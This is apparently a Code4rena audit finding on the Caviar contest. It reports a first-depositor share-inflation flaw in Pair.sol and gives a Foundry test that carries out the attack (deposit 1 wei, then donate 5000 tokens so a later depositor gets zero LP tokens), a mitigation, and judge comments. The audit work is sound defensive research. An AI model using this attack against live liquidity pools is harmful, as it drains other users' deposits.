Platform: Code4rena
Start Date: 12/12/2022
Pot Size: $36,500 USDC
Total HM: 8
Participants: 103
Period: 7 days
Judge: berndartmueller
Id: 193
League: ETH
Rank: 101/103
Findings: 1
Award: $6.99
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: minhquanym
Also found by: 0x52, 0xDecorativePineapple, Apocalypto, BAHOZ, ElKu, Franfran, HE1M, Jeiwan, KingNFT, Koolex, SamGMK, Tointer, Tricko, UNCHAIN, __141345__, ak1, aviggiano, bytehat, carrotsmuggler, cccz, chaduke, cozzetti, dipp, eyexploit, fs0c, haku, hansfriese, hihen, immeas, izhelyazkov, koxuan, ladboy233, lumoswiz, rajatbeladiya, rjs, rvierdiiev, seyni, supernova, unforgiven, yixxas
6.9881 USDC - $6.99
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L419-L427 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L77
A malicious early user can add liquidity to the pair with 1 wei
of baseTokenAmount
and 1 wei
of fractionalTokenAmount
. And gets a 1 wei
of lpTokens or shares in pool.
Then the malcious user can directly send 5000
amount of baseToken to inflate the shares price from 1 wei
to an extremely high value of 5000
(consider with decimals).
As a result, the future user who provides liquidty less than the 5000
will get zero shares. They will lose all the amount of baseToken
and fractional
tokens that they deposited to provide the liquidity.
function test_if_UnfairShares_Distribution() public { address alice = address(111); address eve = address(333); deal(address(usd), eve, 10000, true); deal(address(p), eve, 10000, true); vm.startPrank(eve); usd.approve(address(p), type(uint256).max); assertEq(lpToken.totalSupply(), 0, "Initial supply zero"); // Initiate the attack uint256 lpToken_receive_by_eve = p.add(1, 1, 0); usd.transfer(address(p), 5000); assertGt(usd.balanceOf(address(p)), 5000); assertEq(lpToken_receive_by_eve, 1); vm.stopPrank(); deal(address(usd), alice, 10000, true); deal(address(p), alice, 10000, true); vm.startPrank(alice); usd.approve(address(p), type(uint256).max); // try adding amount less than 5000 will result in zero shares, to maximize affect 4999 uint256 lpToken_receive_by_alice = p.add(4999, 4999, 0); assertEq(lpToken_receive_by_alice, 0); (uint256 _baseTokenOutputAmount, ) = p.remove(lpToken_receive_by_alice, 0, 0); assertEq(_baseTokenOutputAmount, 0); }
Manual review
For the first inital deposit, mint fixed amount of lp tokens to address(0)
, Uniswap did the same here
#0 - Shungy
2022-12-21T20:09:13Z
Dup #442
#1 - c4-judge
2022-12-28T15:50:34Z
berndartmueller marked the issue as duplicate of #442
#2 - c4-judge
2023-01-10T09:15:49Z
berndartmueller marked the issue as satisfactory